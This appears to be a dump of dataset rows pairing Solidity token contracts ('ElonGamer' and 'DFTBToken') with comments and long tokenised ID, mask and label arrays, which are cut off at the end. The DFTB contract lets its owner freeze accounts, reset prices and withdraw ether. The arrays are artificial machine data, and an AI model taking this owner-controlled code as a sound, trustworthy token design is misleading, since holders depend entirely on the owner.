file_name
stringlengths 71
779k
| comments
stringlengths 20
182k
| code_string
stringlengths 20
36.9M
| __index_level_0__
int64 0
17.2M
| input_ids
list | attention_mask
list | labels
list |
---|---|---|---|---|---|---|
./partial_match/1/0x03332BfF09B51FC010831fce6c4601f719F4557b/sources/ELONETH.sol
|
Transfer the contract to to a new owner
|
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) public _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 public _finalBuyTax = 1;
uint256 public _finalSellTax = 1;
uint256 public _finaltotalTax = 2;
uint256 private _reduceBuyTaxAt=20;
uint256 private _reduceSellTaxAt=20;
uint8 private txCount = 0;
uint8 private txCount2 = 0;
uint8 private _preventSwapBefore = 2;
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1 * 10**9 * 10**_decimals;
string private constant _name = unicode"ElonGamer";
string private constant _symbol = unicode"ELON";
uint256 public _maxTxAmount = 20000000 * 10**_decimals;
uint256 public _maxWalletSize = (_tTotal * 100) / 100;
uint256 private _previousMaxWalletToken = _maxWalletSize;
uint256 public _taxSwapThreshold= 1500000 * 10**_decimals;
uint256 public _maxTaxSwap= 15000000 * 10**_decimals;
address payable private Wallet_Marketing =
payable(msg.sender);
address payable private Wallet_Dev =
payable(msg.sender);
address payable private constant Wallet_Burn =
payable(0x000000000000000000000000000000000000dEaD);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool public inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
event SwapAndLiquifyEnabledUpdated(bool true_or_false);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
| 15,695,047 |
[
1,
4625,
348,
7953,
560,
30,
225,
12279,
326,
6835,
358,
358,
279,
394,
3410,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
13866,
5460,
12565,
12,
2867,
394,
5541,
13,
2713,
5024,
288,
203,
3639,
1758,
1592,
5541,
273,
389,
8443,
31,
203,
3639,
389,
8443,
273,
394,
5541,
31,
203,
3639,
3626,
14223,
9646,
5310,
1429,
4193,
12,
1673,
5541,
16,
394,
5541,
1769,
203,
565,
289,
203,
203,
565,
2874,
12,
2867,
516,
2254,
5034,
13,
3238,
389,
88,
5460,
329,
31,
203,
565,
2874,
12,
2867,
516,
2874,
12,
2867,
516,
2254,
5034,
3719,
3238,
389,
5965,
6872,
31,
203,
565,
2874,
12,
2867,
516,
1426,
13,
1071,
389,
291,
16461,
1265,
14667,
31,
203,
565,
2874,
261,
2867,
516,
1426,
13,
3238,
2512,
87,
31,
203,
203,
565,
2254,
5034,
1071,
389,
6385,
38,
9835,
7731,
273,
404,
31,
203,
565,
2254,
5034,
1071,
389,
6385,
55,
1165,
7731,
273,
404,
31,
203,
565,
2254,
5034,
1071,
389,
926,
2390,
1568,
7731,
273,
576,
31,
203,
203,
565,
2254,
5034,
3238,
389,
12498,
38,
9835,
7731,
861,
33,
3462,
31,
203,
565,
2254,
5034,
3238,
389,
12498,
55,
1165,
7731,
861,
33,
3462,
31,
203,
565,
2254,
28,
3238,
2229,
1380,
273,
374,
31,
203,
565,
2254,
28,
3238,
2229,
1380,
22,
273,
374,
31,
203,
565,
2254,
28,
3238,
389,
29150,
12521,
4649,
273,
576,
31,
203,
203,
565,
2254,
28,
3238,
5381,
389,
31734,
273,
2468,
31,
203,
565,
2254,
5034,
3238,
5381,
4552,
273,
4871,
11890,
5034,
12,
20,
1769,
203,
565,
2254,
5034,
3238,
389,
88,
5269,
273,
404,
380,
1728,
636,
29,
380,
1728,
636,
67,
31734,
31,
203,
565,
533,
3238,
5381,
389,
529,
273,
5252,
6,
4958,
265,
43,
24458,
14432,
203,
565,
533,
3238,
5381,
389,
7175,
273,
5252,
6,
2247,
673,
14432,
203,
203,
565,
2254,
5034,
1071,
389,
1896,
4188,
6275,
273,
576,
17877,
380,
1728,
636,
67,
31734,
31,
203,
565,
2254,
5034,
1071,
389,
1896,
16936,
1225,
273,
261,
67,
88,
5269,
380,
2130,
13,
342,
2130,
31,
203,
565,
2254,
5034,
3238,
389,
11515,
2747,
16936,
1345,
273,
389,
1896,
16936,
1225,
31,
203,
565,
2254,
5034,
1071,
389,
8066,
12521,
7614,
33,
4711,
11706,
380,
1728,
636,
67,
31734,
31,
203,
565,
2254,
5034,
1071,
389,
1896,
7731,
12521,
33,
4711,
9449,
380,
1728,
636,
67,
31734,
31,
203,
203,
565,
1758,
8843,
429,
3238,
225,
20126,
67,
3882,
21747,
273,
203,
3639,
8843,
429,
12,
3576,
18,
15330,
1769,
203,
565,
1758,
8843,
429,
3238,
225,
20126,
67,
8870,
273,
203,
3639,
8843,
429,
12,
3576,
18,
15330,
1769,
203,
565,
1758,
8843,
429,
3238,
5381,
20126,
67,
38,
321,
273,
203,
3639,
8843,
429,
12,
20,
92,
12648,
12648,
12648,
12648,
2787,
72,
41,
69,
40,
1769,
203,
203,
565,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
1071,
640,
291,
91,
438,
58,
22,
8259,
31,
203,
565,
1758,
1071,
640,
291,
91,
438,
58,
22,
4154,
31,
203,
565,
1426,
1071,
316,
12521,
1876,
48,
18988,
1164,
31,
203,
565,
1426,
1071,
7720,
1876,
48,
18988,
1164,
1526,
273,
638,
31,
203,
565,
871,
12738,
1876,
48,
18988,
1164,
1526,
7381,
12,
6430,
638,
67,
280,
67,
5743,
1769,
203,
565,
871,
12738,
1876,
48,
18988,
1164,
12,
203,
3639,
2254,
5034,
2430,
12521,
1845,
16,
203,
3639,
2254,
5034,
13750,
8872,
16,
203,
3639,
2254,
5034,
2430,
5952,
48,
18988,
72,
560,
203,
565,
11272,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.18;
contract Owner {
address public owner;
function Owner() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
owner = newOwner;
}
}
contract TokenRecipient {
function receiveApproval(
address _from,
uint256 _value,
address _token,
bytes _extraData);
}
contract Token {
string public standard;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function Token (
uint256 initialSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol,
string standardStr
) {
balanceOf[msg.sender] = initialSupply; // Give the creator all initial tokens
totalSupply = initialSupply; // Update total supply
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
decimals = decimalUnits; // Amount of decimals for display purposes
standard = standardStr;
}
function transfer(address _to, uint256 _value) returns (bool success) {
if (balanceOf[msg.sender] < _value) {
revert(); // Check if the sender has enough
}
if (balanceOf[_to] + _value < balanceOf[_to]) {
revert(); // Check for overflows
}
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success) {
require(balanceOf[msg.sender] >= _value);
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
returns (bool success)
{
TokenRecipient spender = TokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(
msg.sender,
_value,
this,
_extraData
);
return true;
}
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balanceOf[_from] < _value) {
revert(); // Check if the sender has enough
}
if (balanceOf[_to] + _value < balanceOf[_to]) {
revert(); // Check for overflows
}
if (_value > allowance[_from][msg.sender]) {
revert(); // Check allowance
}
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
allowance[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
}
//build DFTBToken
contract DFTBToken is Token, Owner {
uint256 public constant INITIAL_SUPPLY = 5 * 10000 * 10000 * 1000000; // 5 * 1e8 * 1e6
string public constant NAME = "DFTB"; //名称
string public constant SYMBOL = "DFTB"; // 简称
string public constant STANDARD = "DFTB";
uint8 public constant DECIMALS = 6;
uint256 public constant BUY = 0; // 用于自动买卖
uint256 constant RATE = 1 szabo;
bool private couldTrade = false;
uint256 public sellPrice;
uint256 public buyPrice;
uint minBalanceForAccounts;
mapping (address => bool) frozenAccount;
event FrozenFunds(address indexed _target, bool _frozen);
function DFTBToken() Token(INITIAL_SUPPLY, NAME, DECIMALS, SYMBOL, STANDARD) {
balanceOf[msg.sender] = totalSupply;
buyPrice = 100000000;
sellPrice = 100000000;
}
function transfer(address _to, uint256 _value) returns (bool success) {
if (balanceOf[msg.sender] < _value) {
revert(); // Check if the sender has enough
}
if (balanceOf[_to] + _value < balanceOf[_to]) {
revert(); // Check for overflows
}
if (frozenAccount[msg.sender]) {
revert(); // Check if frozen
}
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (frozenAccount[_from]) {
revert(); // Check if frozen
}
if (balanceOf[_from] < _value) {
revert(); // Check if the sender has enough
}
if (balanceOf[_to] + _value < balanceOf[_to]) {
revert(); // Check for overflows
}
if (_value > allowance[_from][msg.sender]) {
revert(); // Check allowance
}
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
allowance[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
function freezeAccount(address _target, bool freeze) onlyOwner {
frozenAccount[_target] = freeze;
FrozenFunds(_target, freeze);
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function buy() payable returns (uint amount) {
require(couldTrade);
amount = msg.value * RATE / buyPrice;
require(balanceOf[this] >= amount);
require(balanceOf[msg.sender] + amount >= amount);
balanceOf[this] -= amount;
balanceOf[msg.sender] += amount;
Transfer(this, msg.sender, amount);
return amount;
}
function sell(uint256 amountInWeiDecimalIs18) returns (uint256 revenue) {
require(couldTrade);
uint256 amount = amountInWeiDecimalIs18;
require(balanceOf[msg.sender] >= amount);
require(!frozenAccount[msg.sender]);
revenue = amount * sellPrice / RATE;
balanceOf[this] += amount;
balanceOf[msg.sender] -= amount;
require(msg.sender.send(revenue));
Transfer(msg.sender, this, amount);
return revenue;
}
function withdraw(uint256 amount) onlyOwner returns (bool success) {
require(msg.sender.send(amount));
return true;
}
function setCouldTrade(uint256 amountInWeiDecimalIs18) onlyOwner returns (bool success) {
couldTrade = true;
require(balanceOf[msg.sender] >= amountInWeiDecimalIs18);
require(balanceOf[this] + amountInWeiDecimalIs18 >= amountInWeiDecimalIs18);
balanceOf[msg.sender] -= amountInWeiDecimalIs18;
balanceOf[this] += amountInWeiDecimalIs18;
Transfer(msg.sender, this, amountInWeiDecimalIs18);
return true;
}
function stopTrade() onlyOwner returns (bool success) {
couldTrade = false;
uint256 _remain = balanceOf[this];
require(balanceOf[msg.sender] + _remain >= _remain);
balanceOf[msg.sender] += _remain;
balanceOf[this] -= _remain;
Transfer(this, msg.sender, _remain);
return true;
}
function () {
revert();
}
}
|
Check if the sender has enough
|
revert();
| 374,836 |
[
1,
4625,
348,
7953,
560,
30,
225,
2073,
309,
326,
5793,
711,
7304,
203,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
5411,
15226,
5621,
5411,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
